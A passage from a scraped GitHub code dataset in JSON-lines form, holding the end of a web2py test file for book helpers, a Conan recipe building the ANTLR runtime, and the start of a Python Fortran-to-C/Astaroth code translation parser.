do_test(book, rating, expect)\n\n # Test rating='_invalid_'\n self.assertRaises(\n SyntaxError,\n update_rating,\n book,\n rating='_invalid_'\n )\n\n def test__upload_link(self):\n empty = ''\n\n book = Book(dict(\n id=123,\n name='test__upload_link',\n ))\n\n link = upload_link(book)\n # Eg Edit\n soup = BeautifulSoup(str(link), 'html.parser')\n anchor = soup.find('a')\n self.assertEqual(anchor.string, 'Upload')\n self.assertEqual(\n anchor['class'],\n [\n 'btn',\n 'btn-default',\n 'modal-upload-btn',\n 'no_rclick_menu',\n ]\n )\n self.assertEqual(anchor['data-book_id'], '123')\n self.assertEqual(anchor['href'], '/login/book_pages/123')\n\n # Invalid id\n link = upload_link(None)\n self.assertEqual(str(link), empty)\n\n # Test components param\n components = ['aaa', 'bbb']\n link = upload_link(book, components=components)\n soup = BeautifulSoup(str(link), 'html.parser')\n anchor = soup.find('a')\n self.assertEqual(anchor.string, 'aaabbb')\n\n # Test attributes\n attributes = dict(\n _href='/path/to/file',\n _class='btn btn-large',\n _target='_blank',\n _rel='noopener noreferrer',\n )\n link = upload_link(book, **attributes)\n soup = BeautifulSoup(str(link), 'html.parser')\n anchor = soup.find('a')\n self.assertEqual(anchor['href'], '/path/to/file')\n self.assertEqual(anchor['class'], ['btn', 'btn-large'])\n self.assertEqual(anchor['target'], '_blank')\n self.assertEqual(anchor['rel'], ['noopener', 'noreferrer'])\n\n def test__url(self):\n self.assertEqual(url(None), None)\n\n creator = self.add(Creator, dict(\n email='test__url@example.com',\n name_for_url='FirstLast',\n ))\n\n # Store book so effect of special chars in db is tested.\n book = self.add(Book, dict(name='TestUrl'))\n\n tests = [\n # (name, name_for_url, expect),\n ('My Book', 'MyBook', '/FirstLast/MyBook'),\n ('My Book', 'MyBook-012', '/FirstLast/MyBook-012'),\n (\n 'My Book',\n 'MyBook-02of09',\n '/FirstLast/MyBook-02of09'\n ),\n (\n \"Hélè d'Eñça\",\n \"HélèDEñça-02of09\",\n '/FirstLast/H%C3%A9l%C3%A8DE%C3%B1%C3%A7a-02of09'\n ),\n ]\n\n for t in tests:\n data = dict(\n name=t[0],\n name_for_url=t[1],\n creator_id=creator.id,\n )\n book = Book.from_updated(book, data)\n self.assertEqual(url(book), t[2])\n\n\ndef set_pages(obj, book, num_of_pages):\n \"\"\"Create pages for a book.\"\"\"\n while book.page_count() < num_of_pages:\n obj.add(BookPage, dict(\n book_id=book.id,\n page_no=(book.page_count() + 1),\n ))\n\n\ndef setUpModule():\n \"\"\"Set up web2py environment.\"\"\"\n # pylint: disable=invalid-name\n LocalTestCase.set_env(globals())\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"zcomx/zco.mx","sub_path":"applications/zcomx/tests/test_books.py","file_name":"test_books.py","file_ext":"py","file_size_in_byte":85921,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"28295139670","text":"from conans import ConanFile, CMake\nimport os\n\nclass AntlrConan(ConanFile):\n name = \"antlr\"\n version = \"4.8.1\"\n license = \"BSD\"\n settings = \"os\", \"compiler\", \"build_type\", \"arch\"\n options = {\"shared\": [True, False], \"fPIC\": [True, False]}\n default_options = {\"shared\": False, \"fPIC\": True}\n generators = \"cmake\"\n exports_sources = \"src/*\"\n\n def config_options(self):\n if self.settings.os == \"Windows\":\n del self.options.fPIC\n\n def requirements(self):\n if self.settings.os == \"Linux\":\n self.requires(\"libuuid/1.0.3@mercseng/v0\")\n\n def build(self):\n cmake = CMake(self)\n definition_dict = {\"WITH_STATIC_CRT\":\"Off\"}\n cmake.configure(source_folder=\"src\", defs=definition_dict)\n cmake.build(target = \"antlr4_shared\" if self.options.shared else \"antlr4_static\")\n\n # Explicit way:\n # self.run('cmake \"%s/src\" %s' % (self.source_folder, cmake.command_line))\n # self.run(\"cmake --build . %s\" % cmake.build_config)\n\n def package(self):\n self.copy(\"*.h\", dst=\"include\", src=\"src/runtime/src\")\n self.copy(\"*.lib\", dst=\"lib\", keep_path=False)\n self.copy(\"*.dll\", dst=\"bin\", keep_path=False)\n self.copy(\"*.dylib*\", dst=\"lib\", keep_path=False)\n self.copy(\"*.so*\", dst=\"lib\", keep_path=False)\n self.copy(\"*.a\", dst=\"lib\", keep_path=False)\n self.copy(\"*.jar\", dst=\"class\", src=\"src/class\")\n\n def package_info(self):\n self.cpp_info.libs = [\"antlr4-runtime-static\" if self.settings.os == \"Windows\" else \"antlr4-runtime\"]\n if self.options.shared:\n if self.settings.os == \"Windows\":\n self.env_info.PATH.append(os.path.join(self.package_folder, \"bin\"))\n else:\n self.env_info.LD_LIBRARY_PATH.append(os.path.join(self.package_folder, \"lib\"))\n else:\n if self.settings.os == \"Windows\":\n self.cpp_info.defines.append(\"ANTLR4CPP_STATIC\")\n self.env_info.CLASSPATH.append(os.path.join(self.package_folder, \"class/antlr-4.8-complete.jar\"))\n","repo_name":"MercenariesEngineering/conan_recipes","sub_path":"antlr_4.8.1/conanfile.py","file_name":"conanfile.py","file_ext":"py","file_size_in_byte":2088,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"31"} +{"seq_id":"34664115390","text":"from asyncore import write\nimport math\nimport re\nimport os\nimport csv\nimport argparse\nimport glob\nimport cProfile\nimport ctypes\n\nglobal_loop_y = \"m__mod__cdata\"\nglobal_loop_z = \"n__mod__cdata\"\nglobal_subdomain_range_x = \"nxgrid/nprocx\"\nglobal_subdomain_range_y = \"nygrid/nprocy\"\nglobal_subdomain_range_z = \"nzgrid/nprocz\"\nnghost_val = \"3\"\nglobal_subdomain_range_with_halos_x = f\"{global_subdomain_range_x}+2*{nghost_val}\"\nglobal_subdomain_range_with_halos_y = f\"{global_subdomain_range_y}+2*{nghost_val}\"\nglobal_subdomain_range_with_halos_z = f\"{global_subdomain_range_z}+2*{nghost_val}\"\nglobal_subdomain_range_x_upper = \"l2__mod__cparam\"\nglobal_subdomain_range_x_lower= \"4\"\n\nglobal_subdomain_range_y_upper = \"m2__mod__cparam\"\nglobal_subdomain_range_y_lower= \"m1__mod__cparam\"\n\nglobal_subdomain_range_z_upper = \"n2__mod__cparam\"\nglobal_subdomain_range_z_lower= \"n1__mod__cparam\"\n\nfarray_register_funcs = [\"farray_register_pde\",\"farray_register_auxiliary\"]\n\nnumber_of_fields = \"5+0+0+0\"\n\nchecked_local_writes = []\nder_funcs = [\"der\",\"der2\",\"der3\",\"der4\",\"der5\",\"der6\",\"der4i2j\",\"der2i2j2k\",\"der5i1j\",\"der3i3j\",\"der3i2j1k\",\"der4i1j1k\",\"derij\"]\nimplemented_der_funcs = {\n \"der_main\": str([(\"real\",[global_subdomain_range_with_halos_x,global_subdomain_range_with_halos_y,global_subdomain_range_with_halos_z,number_of_fields]), (\"integer\", []), (\"real\",[global_subdomain_range_x]),(\"integer\",[])]),\n \"derij_main\": str([(\"real\",[global_subdomain_range_with_halos_x,global_subdomain_range_with_halos_y,global_subdomain_range_with_halos_z,number_of_fields]), (\"integer\", []), (\"real\",[global_subdomain_range_x]),(\"integer\",[]),(\"integer\",[])]),\n \"der2_main\": str([(\"real\",[global_subdomain_range_with_halos_x,global_subdomain_range_with_halos_y,global_subdomain_range_with_halos_z,number_of_fields]), (\"integer\", []), (\"real\",[global_subdomain_range_x]),(\"integer\",[])]),\n \"der6_main\": [\n str([(\"real\",[global_subdomain_range_with_halos_x,global_subdomain_range_with_halos_y,global_subdomain_range_with_halos_z,number_of_fields]), (\"integer\", []), (\"real\",[global_subdomain_range_x]),(\"integer\",[])]),\n str([(\"real\",[global_subdomain_range_with_halos_x,global_subdomain_range_with_halos_y,global_subdomain_range_with_halos_z,number_of_fields]), (\"integer\", []), (\"real\",[global_subdomain_range_x]),(\"integer\",[]),(\"logical\",[])]),\n ],\n \"der5\": str([(\"real\",[global_subdomain_range_with_halos_x,global_subdomain_range_with_halos_y,global_subdomain_range_with_halos_z,number_of_fields]), (\"integer\", []), (\"real\",[global_subdomain_range_x]),(\"integer\",[])]),\n \"der4\": str([(\"real\",[global_subdomain_range_with_halos_x,global_subdomain_range_with_halos_y,global_subdomain_range_with_halos_z,number_of_fields]), (\"integer\", []), (\"real\",[global_subdomain_range_x]),(\"integer\",[])]),\n \"der4i2j\": str([(\"real\",[global_subdomain_range_with_halos_x,global_subdomain_range_with_halos_y,global_subdomain_range_with_halos_z,number_of_fields]), (\"integer\", []), (\"real\",[global_subdomain_range_x]),(\"integer\",[]),(\"integer\",[])]),\n}\nder_func_map = {\n \"der_main\":\n {\n \"1\": \"derx\",\n \"2\": \"dery\",\n \"3\": \"derz\"\n },\n \"der2_main\":\n {\n \"1\": \"derxx\",\n \"2\": \"deryy\",\n \"3\": \"derzz\"\n },\n \"der6_main\":\n {\n \"1\": \"der6x\",\n \"2\": \"der6y\",\n \"3\": \"der6z\"\n }\n\n}\ndel_funcs = [\"del2v_etc\"]\n\nmk_param_lines = [\n \"logical, parameter, dimension(npencils):: lpenc_required = .false.\",\n \"logical, dimension(npencils):: lpenc_diagnos = .false.\",\n \"logical, dimension(npencils):: lpenc_diagnos2d = .false.\",\n \"logical, dimension(npencils):: lpenc_video = .false.\",\n \"logical, dimension(npencils):: lpenc_requested = .false.\",\n \"logical, dimension(npencils):: lpencil = .false.\"\n]\n\nc_helpers = ctypes.CDLL(\"./helpers.so\") \nc_helpers.hi_from_c.argtypes = [ctypes.c_int]\n\n#transforms .5 -> 0.5 and etc.\n#needed since the Astaroth grammar does not support e.g. .5\ndef normalize_reals(line):\n add_indexes = []\n if line[0] == \".\":\n line = \"0\" + line\n for i,char in enumerate(line):\n if i>0 and i=()\":\n if \"__mod__\" in buffer:\n end_index = start_index + len(buffer)-1\n len_after = len(buffer.split(\"__mod__\")[1])\n remove_len = len_after + len(\"__mod__\")\n for i in range(remove_len):\n remove_indexes.append(end_index-i)\n i = start_index\n start_index = j+1\n buffer = \"\"\n else:\n buffer += char\n if \"__mod__\" in buffer:\n end_index = start_index + len(buffer)-1\n len_after = len(buffer.split(\"__mod__\")[1])\n remove_len = len_after + len(\"__mod__\")\n for i in range(remove_len):\n remove_indexes.append(end_index-i)\n\n return \"\".join([y[1] for y in enumerate(x) if y[0] not in remove_indexes])\ndef get_mod_name(x,module):\n return f\"{x}__mod__{module}\"\ndef get_mod_from_physics_name(x):\n if x in [\"density\",\"hydro\",\"magnetic\",\"viscosity\",\"gravity\",\"energy\"]:\n return x\n if x == \"grav\":\n return \"gravity\"\n if x == \"entropy\":\n return \"energy\"\n if x == \"eos\":\n return \"equationofstate\"\ndef unique_list(list):\n res = []\n for x in list:\n if x not in res:\n res.append(x)\n return res\ndef get_struct_name_from_init(line):\n return line.split(\" \")[1].split(\",\")[0].strip()\ndef check_if_in_struct(line,current_val):\n if \"end\" not in line and (line.split(\" \")[0].split(\",\")[0].strip() == \"type\" and len(line.split(\"::\")) == 1) or (line.split(\" \")[0].split(\",\")[0].strip() == \"type\" and \"(\" not in line.split(\"::\")[0]):\n return True\n if current_val and (\"endtype\" in line.lower().strip() or \"end type\" in line.lower().strip()):\n return False\n return current_val\n \ndef is_contains_line(line,next_line):\n if line.lower().strip() == \"contains\":\n return True \n if not next_line:\n return \n if next_line[0] == \"!\":\n return False\n return (re.match(\"function\\s+.+\\(.+\\)\",next_line) or re.match(\"subroutine\\s+.+\\(.+\\)\",next_line))\ndef parse_declaration_value(value):\n num_of_left_brackets = 0\n num_of_right_brackets = 0\n index = 0\n in_end = False\n index = 0\n while not in_end:\n char = value[index]\n if char in \"(\":\n num_of_left_brackets += 1\n if char in \")\":\n num_of_right_brackets += 1\n if char in \",\" and num_of_left_brackets == num_of_right_brackets:\n in_end = True\n if index= 2 and part[0].isnumeric() and part[1] == \"*\":\n return [part[2:] for i in range(eval(part[0]))]\n return [part]\ndef parse_input_number(param):\n res = []\n lists = [parse_input_number_part(part.strip()) for part in param.split(\",\")]\n for x in lists:\n res.extend(x)\n return res\ndef parse_input_param(param):\n if \"'\" in param and (\",\" in param or \"*\" in param):\n return parse_input_string(param,\"'\")\n if '\"' in param and (\",\" in param or \"*\" in param):\n return parse_input_string(param,'\"')\n if \".\" in param and (\",\" in param or \"*\" in param):\n return parse_input_number(param)\n return param\ndef get_func_from_trace(trace):\n if \"->\" not in trace:\n return trace.split()\n return trace.split(\"->\")[-1].strip()\ndef opposite(value,orig_value):\n if value == \".true.\":\n return \".false.\"\n if value == \".false.\":\n return \".true.\"\n return orig_value \ndef split_by_indexes(line,indexes):\n return [line[i:j] for i,j in zip(indexes, indexes[1:]+[None])]\n\ndef split_by_ops(line,op_chars):\n num_of_right_brackets = 0\n num_of_left_brackets = 0\n possible_var = \"\"\n split_indexes = [0]\n in_array = False\n for char_index,char in enumerate(line):\n if char == \"(\":\n num_of_left_brackets += 1\n if line[char_index-1]:\n back_index = char_index-1\n while(line[back_index] == \" \"):\n back_index -= 1\n if line[back_index] not in \"*-+-/(\":\n in_array = True\n else:\n if line[char_index-1] not in \"*-+-/(\":\n # in_array = possible_var in local_variables or possible_var in self.static_variables \n in_array = True\n possible_var = \"\"\n elif char == \")\":\n num_of_right_brackets += 1\n if num_of_left_brackets == num_of_right_brackets:\n in_array = False\n possible_var = \"\"\n elif (char in op_chars) and not in_array:\n split_indexes.append(char_index)\n possible_var = \"\"\n else:\n possible_var = possible_var + char\n res = [x for x in split_by_indexes(line,split_indexes) if x != \"\"]\n for i,val in enumerate(res):\n if val[0] in \"+-*/\":\n res[i] = val[1:]\n return [x for x in res if x != \"\"]\n \ndef okay_stencil_index(index,i):\n if index == \":\":\n return True\n if i == 0:\n return index in [f\"{global_subdomain_range_x_lower}:{global_subdomain_range_x_upper}\"]\n global_subdomain_range_x_\n if i==1:\n return index in [global_loop_y]\n if i==2:\n return index in [global_loop_z]\ndef is_vector_stencil_index(index):\n if \":\" not in index:\n return False\n lower,upper= [part.strip() for part in index.split(\":\")]\n if upper == lower+\"+2\":\n return True\n lower = remove_mod(lower)\n upper = remove_mod(upper)\n if lower == \"iuxt\" and upper == \"iuzt\":\n return True\n if \"(\" in lower:\n lower_indexes = get_indexes(lower,lower.split(\"(\",1)[0].strip(),0)\n upper_indexes= get_indexes(lower,lower.split(\"(\",1)[0].strip(),0)\n lower = lower.split(\"(\",1)[0].strip()\n upper = upper.split(\"(\",1)[0].strip()\n assert(lower_indexes == upper_indexes)\n assert(len(lower_indexes) == 1)\n return lower[-1] == \"x\" and upper[-1] == \"z\"\n\n if lower[-1] == \"x\" and upper[-1] == \"z\":\n return True\n return False\ndef get_vtxbuf_name_from_index(prefix, index):\n ## VEC informs that it is a vector access \n if \":\" in index:\n lower,upper= [part.strip() for part in index.split(\":\")]\n if \"(\" in lower:\n lower_indexes = get_indexes(lower,lower.split(\"(\",1)[0].strip(),0)\n upper_indexes= get_indexes(lower,lower.split(\"(\",1)[0].strip(),0)\n assert(lower_indexes == upper_indexes)\n assert(len(lower_indexes) == 1)\n lower = lower.split(\"(\",1)[0].strip()\n upper = upper.split(\"(\",1)[0].strip()\n return f\"{prefix}{(lower[1:-1]+lower_indexes[0]).upper()}VEC\"\n return f\"{prefix}{lower[1:-1].upper()}VEC\"\n if \"(\" in index:\n indexes = get_indexes(index, index.split(\"(\",1)[0].strip(),0)\n assert(len(indexes) == 1)\n index = index.split(\"(\",1)[0].strip()\n return f\"{prefix}{(index[1:]+indexes[0]).upper()}VEC\"\n return f\"{prefix}{index[1:].upper()}\"\n\ndef get_function_call_index(function_call, lines):\n for i, line in enumerate(lines):\n if f\"{function_call}(\" in line or (\"call\" in line and function_call in line):\n return i\n pexit(f\"Didn't find index for function_call: {function_call}\")\ndef has_balanced_parens(line):\n return sum([char == \"(\" for char in line]) == sum([char == \")\" for char in line])\ndef replace_exp_once(line):\n num_of_left_brackets = 0\n num_of_right_brackets = 0\n starting_index = 0\n it_index = 1\n while starting_index == 0:\n if line[it_index] == \"*\" and line[it_index-1] == \"*\":\n starting_index = it_index-1\n it_index += 1\n forward_index = starting_index + 2\n backward_index = starting_index - 1\n save_index = starting_index - 1\n exponent = \"\"\n num_of_left_brackets == 0\n num_of_right_brackets == 0\n parse = True\n while parse:\n if line[forward_index] in \"([\":\n num_of_left_brackets += 1\n if line[forward_index] in \")]\":\n num_of_right_brackets += 1\n if (forward_index == len(line)-1 or line[forward_index+1] in \" *+-;()/\\{}\") and num_of_left_brackets == num_of_right_brackets:\n parse = False\n exponent = exponent + line[forward_index]\n if parse:\n exponent = exponent + line[forward_index]\n forward_index += 1\n base = \"\"\n num_of_left_brackets == 0\n num_of_right_brackets == 0\n parse = True\n while parse:\n if line[backward_index] in \"([\":\n num_of_left_brackets += 1\n if line[backward_index] in \")]\":\n num_of_right_brackets += 1\n if (backward_index == 0 or line[backward_index-1] in \" *+-;()/\\{}\") and num_of_left_brackets == num_of_right_brackets:\n parse = False\n base = line[backward_index] + base\n if parse:\n base = line[backward_index] + base\n backward_index -= 1\n res = \"\"\n print(\"base\",base)\n for i,x in enumerate(line):\n if iforward_index:\n res = res + x\n elif i ==backward_index:\n res = res + f\"pow({base},{exponent})\"\n return res\ndef replace_exp(line):\n while \"**\" in line:\n line = replace_exp_once(line)\n return line\ndef translate_to_c(type):\n if type ==\"real\":\n return \"AcReal\"\n elif type ==\"logical\":\n return \"bool\"\n elif type ==\"integer\":\n return \"int\"\n elif type==\"character\":\n return \"char*\"\n else:\n pexit(\"WHAT is the translation for\",type,\"?\")\ndef common_data(list1, list2):\n result = False\n \n # traverse in the 1st list\n for x in list1:\n \n # traverse in the 2nd list\n for y in list2:\n \n # if one common\n if x == y:\n result = True\n return result\n \n return result\ndef get_segment_indexes(segment,line,dims):\n return get_indexes(line[segment[1]:segment[2]],segment[0],dims)\ndef get_indexes(segment,var,dim):\n index_search = re.search(f\"{var}\\((.*)\\)\",segment)\n indexes = [\":\" for i in range(dim)]\n if index_search:\n indexes = []\n index = \"\"\n index_line = index_search.group(1)\n # print(\"INDEX LINE\",index_line)\n num_of_left_brackets = 0\n num_of_right_brackets = 0\n for char in index_line:\n if char == \"(\": \n num_of_left_brackets = num_of_left_brackets + 1\n if char == \")\":\n num_of_right_brackets = num_of_right_brackets + 1\n if char == \",\" and num_of_left_brackets == num_of_right_brackets:\n # indexes.append(index.split(\"(\")[-1].split(\")\")[0].strip())\n indexes.append(index)\n index = \"\"\n else:\n index = index + char\n if index.strip() != \"\" and sum([char == \"(\" for char in index.strip()]) == sum([char == \")\" for char in index.strip()]):\n indexes.append(index.strip())\n else:\n index = index[:-1]\n if index.strip() != \"\" and sum([char == \"(\" for char in index.strip()]) == sum([char == \")\" for char in index.strip()]):\n indexes.append(index.strip())\n elif index.strip() != \"\":\n indexes.append(index.split(\"(\")[-1].split(\")\")[0].strip())\n return indexes\ndef is_body_line(line):\n return not \"::\" in line and \"subroutine\" not in line and not line.split(\" \")[0].strip() == \"use\" and \"function\" not in line\ndef is_init_line(line):\n return \"::\" in line\ndef add_splits(line):\n res = \"\"\n for line_part in line.split(\"\\n\"):\n res = res + add_splits_per_line(line_part) + \"\\n\"\n return res\ndef add_splits_per_line(line):\n res = \"\"\n iterator = 0\n split_modulus = 80\n for char in line:\n res = res + char\n iterator = iterator + 1\n if char == \" \" and iterator >=split_modulus:\n iterator = 0\n res = res + \"&\\n\"\n return res\n\n\n\ndef is_use_line(line):\n return \"use\" == line.split(\" \")[0].strip()\ndef is_declaration_line(line):\n return \"::\" in line\ndef new_is_variable_line(line):\n parts = line.split(\"::\")\n if \"!\" in parts[0]:\n return False\n return len(parts)>1\ndef is_variable_line(line_elem):\n print(line_elem)\n parts = line_elem.split(\"::\")\n if \"!\" in parts[0]:\n return False\n return len(parts)>1\ndef merge_dictionaries(dict1, dict2):\n merged_dict = {}\n merged_dict.update(dict1)\n merged_dict.update(dict2)\n return merged_dict\ndef get_var_name_segments(line,variables):\n buffer = \"\"\n res = []\n start_index = 0\n num_of_single_quotes = 0\n num_of_double_quotes = 0\n num_of_left_brackets = 0\n num_of_right_brackets = 0\n for i,char in enumerate(line):\n if char == \"'\" and num_of_double_quotes %2 == 0:\n num_of_single_quotes += 1\n if char == '\"' and num_of_single_quotes %2 == 0:\n num_of_double_quotes += 1\n if num_of_single_quotes %2 == 0 and num_of_double_quotes %2 == 0: \n if char == \"(\":\n num_of_left_brackets += 1\n if char == \")\":\n num_of_right_brackets += 1\n if char in \" ':.;!,/*+-<>=()\":\n if buffer and buffer in variables:\n #inside brackets\n if num_of_left_brackets != num_of_right_brackets:\n nsi = i\n while line[nsi] in \" \":\n nsi += 1\n #a named param type so don't change it\n if line[nsi] not in \"=\":\n res.append((buffer,start_index,i))\n else:\n #if == then it is equaility check not named param type\n if line[nsi+1] in \"=\":\n res.append((buffer,start_index,i))\n #expections are do,if,where,forall\n elif len(line)>=3 and line[:3] == \"do\":\n res.append((buffer,start_index,i))\n elif len(line)>=len(\"forall\") and line[:len(\"forall\")] == \"forall\":\n res.append((buffer,start_index,i))\n else:\n res.append((buffer,start_index,i))\n start_index=i+1\n buffer = \"\"\n else:\n buffer += char\n else:\n buffer = \"\"\n if buffer.strip() in variables:\n res.append((buffer,start_index,len(line)))\n return res\ndef get_variable_segments(line, variables):\n check_string = \"\"\n accumulating = False\n start_index = 0\n var = \"\"\n res = []\n i = 0\n inside_indexes = False\n num_of_left_brackets = 0\n num_of_right_brackets = 0\n num_of_single_quotes = 0\n num_of_double_quotes = 0\n while i < len(line):\n char = line[i]\n if num_of_single_quotes %2 == 0 and char == \"'\":\n num_of_double_quotes += 1\n if num_of_double_quotes %2 == 0 and char == '\"':\n num_of_single_quotes += 1\n if num_of_single_quotes %2 == 0 and num_of_double_quotes %2 == 0:\n if inside_indexes and char == \"(\":\n num_of_left_brackets += 1\n if inside_indexes and char == \")\":\n num_of_right_brackets += 1\n if num_of_left_brackets == num_of_right_brackets:\n inside_indexes = False\n if char in \" .!,/*+-<>=()\" and not inside_indexes:\n if accumulating:\n accumulating = False\n if char in \"),\":\n res.append((var,start_index,i+1))\n i = i +1\n else:\n res.append((var,start_index,i))\n check_string = \"\"\n start_index = i + 1\n else:\n check_string = check_string + char\n if check_string in variables:\n if i >= len(line)-1:\n res.append((check_string,start_index,i+1))\n return res\n elif line[i+1] in \" .!,/*+-<>=()\":\n var = check_string\n if line[i+1] != \"(\":\n res.append((var,start_index,i+1))\n elif var.strip() in variables:\n inside_indexes = True\n num_of_left_brackets = 1\n num_of_right_brackets = 0\n accumulating = True\n i = i + 1\n i = i + 1\n return res\n\ndef replace_variable(line, old_var, new_var):\n check_string = \"\"\n indexes = []\n for i, char in enumerate(line):\n if char in \" !,/*+-<>=()[];:.\":\n check_string = \"\"\n else:\n check_string = check_string + char\n if check_string == old_var:\n if i == len(line)-1:\n indexes.append((i+1-len(old_var),i+1))\n elif line[i+1] in \" !,/*+-<>=()[];:.\":\n indexes.append((i+1-len(old_var),i+1))\n if len(indexes) == 0:\n return line\n res_line = \"\"\n last_index = 0\n for lower,upper in indexes:\n res_line= res_line+ line[last_index:lower]\n res_line= res_line+ new_var\n last_index = upper\n res_line = res_line + line[indexes[-1][1]:]\n search_var = new_var.split(\"(\")[0].strip()\n new_var_segs = get_variable_segments(res_line,[search_var])\n if len(new_var_segs) == 0:\n return res_line\n\n seg_out = [res_line[seg[1]:seg[2]] for seg in new_var_segs]\n seg_indexes = [(seg[1],seg[2]) for seg in new_var_segs]\n for seg_index, seg in enumerate(new_var_segs):\n if seg[2] < len(res_line)-1:\n my_bool = res_line[seg[2]] == \"(\" and res_line[seg[2]-1] == \")\"\n if my_bool:\n old_indexes = get_indexes(f\"{res_line[seg[1]:seg[2]]})\",search_var,-1)\n start_index = seg[2]+1\n end_index = start_index\n num_of_left_brackets = 0\n num_of_right_brackets = 0\n while res_line[end_index] != \")\" or (num_of_left_brackets >= num_of_right_brackets + 1):\n if res_line[end_index] == \")\":\n num_of_right_brackets = num_of_right_brackets + 1\n if res_line[end_index] == \"(\":\n num_of_left_brackets = num_of_left_brackets + 1\n end_index = end_index + 1\n end_index = end_index + 1\n new_indexes = get_indexes(f\"{search_var}({res_line[start_index:end_index]})\",search_var,-1)\n combined_indexes = []\n new_indexes_iterator = 0 \n for old_index in old_indexes:\n if \":\" not in old_index:\n combined_indexes.append(old_index)\n elif old_index == \":\":\n combined_indexes.append(new_indexes[new_indexes_iterator])\n new_indexes_iterator = new_indexes_iterator + 1\n elif new_indexes[new_indexes_iterator] == \":\":\n combined_indexes.append(old_index)\n new_indexes_iterator = new_indexes_iterator + 1\n else:\n old_lower, old_upper = [part.strip() for part in old_index.split(\":\")]\n if \":\" in new_indexes[new_indexes_iterator]:\n new_lower, new_upper = [part.strip() for part in new_indexes[new_indexes_iterator].split(\":\")]\n combined_indexes.append(f\"{new_lower}+({old_lower}-1):{new_upper}+({old_lower}-1)\")\n else:\n combined_indexes.append(f\"{old_lower}+({new_indexes[new_indexes_iterator].strip()}-1)\")\n new_indexes_iterator = new_indexes_iterator + 1\n combined_indexes = [index.strip() for index in combined_indexes]\n sg_res = search_var + \"(\" \n for i, index in enumerate(combined_indexes):\n sg_res = sg_res + index\n if i0 and (line_segment[iter_index] in \" ()\" or num_of_left_brackets != num_of_right_brackets):\n elem = line_segment[iter_index]\n if elem == \"(\":\n num_of_left_brackets += 1\n elif elem == \")\":\n num_of_right_brackets += 1\n iter_index -= 1\n end_index = iter_index+1\n\n while iter_index>0 and line_segment[iter_index] not in \" *+-();\":\n iter_index -= 1\n \n if iter_index == 0:\n res = line_segment[0:end_index]\n else:\n res = line_segment[iter_index+1:end_index]\n if \"%\" in res:\n end_index = 0\n while res[end_index] != \"%\":\n end_index += 1\n res = res[0:end_index]\n return res\n\ndef get_used_variables_from_line(line,parse=True):\n characters_to_space= [\"/\",\";\",\":\", \",\",\"+\",\"-\",\"*\",\"(\",\")\",\"=\",\"<\",\"!\",\">\",\"[\",\"]\",\".\"]\n for character in characters_to_space:\n line = line.replace(character, \" \")\n if not parse:\n return [x.strip() for x in line.split(\" \")]\n return [parse_variable(part) for part in [x.strip() for x in line.split(\" \")]]\ndef get_used_variables(lines):\n res = []\n for line in lines:\n res.extend(get_used_variables_from_line(line))\n return res\ndef get_var_segments_in_line(line,variables):\n vars = [var for var in get_used_variables_from_line(line) if var in variables]\n res = get_variable_segments(line, vars)\n return sorted(res, key = second_val)\n\ndef get_rhs_segment(line):\n res = []\n index = 0\n start_index = 0\n num_of_single_quotes = 0\n num_of_double_quotes = 0\n num_of_left_brackets = 0\n num_of_right_brackets = 0\n while index=!\" and line[index+1] not in \"<>=!\" and num_of_single_quotes%2==0 and num_of_double_quotes%2==0 and num_of_left_brackets == num_of_right_brackets:\n return line[start_index:index]\ndef get_dims_from_indexes(indexes,rhs_var):\n dims = []\n num_of_looped_dims = 0\n for i,index in enumerate(indexes):\n if \":\" in index:\n num_of_looped_dims += 1\n if index == \":\":\n dims.append(f\"size({rhs_var},dim={i+1})\")\n elif \":\" in index:\n lower, upper = [var.strip() for var in index.split(\":\")]\n dims.append(f\"{upper}-{lower}+1\")\n return (dims, num_of_looped_dims)\n\n\ndef get_new_indexes(segment,var,dim):\n indexes = get_indexes(segment,var,dim) \n transformed_indexes = 0\n new_indexes = []\n for index in indexes: \n if index == \":\":\n new_indexes.append(f\"explicit_index_{transformed_indexes}\")\n transformed_indexes = transformed_indexes + 1\n elif \":\" in index:\n lower, upper = [var.strip() for var in index.split(\":\")]\n new_indexes.append(f\"{lower} + explicit_index_{transformed_indexes}\")\n transformed_indexes = transformed_indexes + 1\n else:\n new_indexes.append(index)\n return new_indexes\ndef build_new_access(var,new_indexes):\n res = f\"{var}(\"\n for i,index in enumerate(new_indexes):\n res = res + index\n if i < len(new_indexes)-1:\n res = res + \",\"\n res = res + \")\"\n return res\n\n\nclass Parser:\n\n def __init__(self, files,config):\n self.known_ints = {\n \"iux__mod__cdata-iuu__mod__cdata\": \"0\",\n \"iuz__mod__cdata-iuu__mod__cdata\": \"2\",\n \"iuu__mod__cdata\": \"iux__mod__cdata\",\n \"iuu__mod__cdata+1\": \"iuy__mod__cdata\",\n \"iuu__mod__cdata+2\": \"iuz__mod__cdata\",\n \"iux__mod__cdata\": \"iux__mod__cdata\",\n \"iux__mod__cdata+1\": \"iuy__mod__cdata\",\n \"iux__mod__cdata+2\": \"iuz__mod__cdata\",\n 'iux__mod__cdata-iuu__mod__cdata+1': \"1\",\n 'iuz__mod__cdata-iuu__mod__cdata+1': \"3\",\n \"{global_subdomain_range_x_upper}-l1+1\": global_subdomain_range_x,\n \"n1\": \"1+nghost\",\n \"iux+1\": \"iuy\",\n }\n self.select_eos_variable_calls = []\n self.farray_register_calls = []\n self.shared_flags_accessed = {}\n self.shared_flags_given = {}\n self.offloading = config[\"offload\"]\n self.include_diagnostics = config[\"diagnostics\"]\n self.known_bools = {\n \"iux+0==ilnrho\": \".false.\",\n \"iux+0==ilntt\": \".false.\"\n }\n self.known_dims = {\"beta_glnrho_scaled__mod__energy\": [\"3\"]}\n self.test_to_c = config[\"to_c\"]\n self.known_values = {}\n self.inline_num = 0\n self.sample_dir = config[\"sample_dir\"]\n self.offload_type = None\n if config[\"stencil\"]:\n self.offload_type = \"stencil\"\n elif config[\"boundcond\"]:\n self.offload_type = \"boundcond\"\n #we don't want print out values\n self.ranges = []\n self.flag_mappings= {\n \"headtt\":\".false.\",\n \"ldebug\":\".false.\",\n }\n self.default_mappings = {\n # #for now set off\n # \"ltime_integrals__mod__cdata\":\".false.\",\n }\n self.default_mappings[\"l1dphiavg__mod__cdata\"] = \".false.\"\n self.default_mappings[\"lwrite_phiaverages__mod__cdata\"] = \".false.\"\n self.safe_subs_to_remove = [\"print\",\"not_implemented\",\"fatal_error\",\"keep_compiler_quiet\",\"warning\"]\n # 